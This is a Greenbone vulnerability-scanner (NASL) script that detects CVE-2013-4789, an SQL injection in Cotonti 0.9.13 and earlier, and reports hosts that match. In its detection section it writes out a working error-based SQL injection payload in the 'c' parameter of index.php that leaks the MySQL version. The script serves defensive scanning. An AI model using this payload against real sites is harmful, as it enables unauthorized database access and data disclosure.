Cotonti 'c' Parameter SQL Injection Vulnerability

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.803848");
  script_version("2023-12-13T05:05:23+0000");
  script_cve_id("CVE-2013-4789");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2013-08-05 17:34:41 +0530 (Mon, 05 Aug 2013)");
  script_name("Cotonti 'c' Parameter SQL Injection Vulnerability");

  script_tag(name:"summary", value:"Cotonti is prone to an SQL injection (SQLi) vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted sql query via HTTP GET request and check whether it is able to
  get the mysql version or not.");

  script_tag(name:"solution", value:"Upgrade to version 0.9.14 or higher.");

  script_tag(name:"insight", value:"Input passed via the 'c' parameter to index.php (when 'e' is set to
  'rss') is not properly sanitised before being used in a SQL query.");

  script_tag(name:"affected", value:"Cotonti version 0.9.13 and prior");

  script_tag(name:"impact", value:"Successful exploitation will allow an attacker to inject or manipulate SQL
  queries in the back-end database, allowing for the manipulation or disclosure
  of arbitrary data.");

  script_xref(name:"URL", value:"http://secunia.com/advisories/54289");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/61538");
  script_xref(name:"URL", value:"http://seclists.org/bugtraq/2013/Aug/1");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/27287");
  script_xref(name:"URL", value:"https://www.htbridge.com/advisory/HTB23164");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/122639/cotonti0913-sql.txt");
  script_xref(name:"URL", value:"http://exploitsdownload.com/exploit/php/cotonti-0913-sql-injection-vulnerability");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_app");
  script_xref(name:"URL", value:"http://www.cotonti.com");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port(default:80);

if(!http_can_host_php(port:port))
  exit(0);

foreach dir (make_list_unique("/", "/cotonti", "/cms", http_cgi_dirs(port:port)))
{

  if(dir == "/") dir = "";

  rcvRes = http_get_cache(item:string(dir, "/index.php"), port:port);

  if("Cotonti<" >< rcvRes && ">Stay tuned" >< rcvRes)
  {
    url = dir + "/index.php?e=rss&c='and(select%201%20from(select%20count(*)"+
                ",concat((select%20concat(version())),floor(rand(0)*2))x%20f"+
                "rom%20information_schema.tables%20group%20by%20x)a)and'";

    if(http_vuln_check(port:port, url:url,
       pattern:"SQL error 23000: .*Duplicate entry.*group_key",
       extra_check:make_list('Fatal error', 'database.php')))
    {
      security_message(port:port);
      exit(0);
    }
  }
}

exit(99);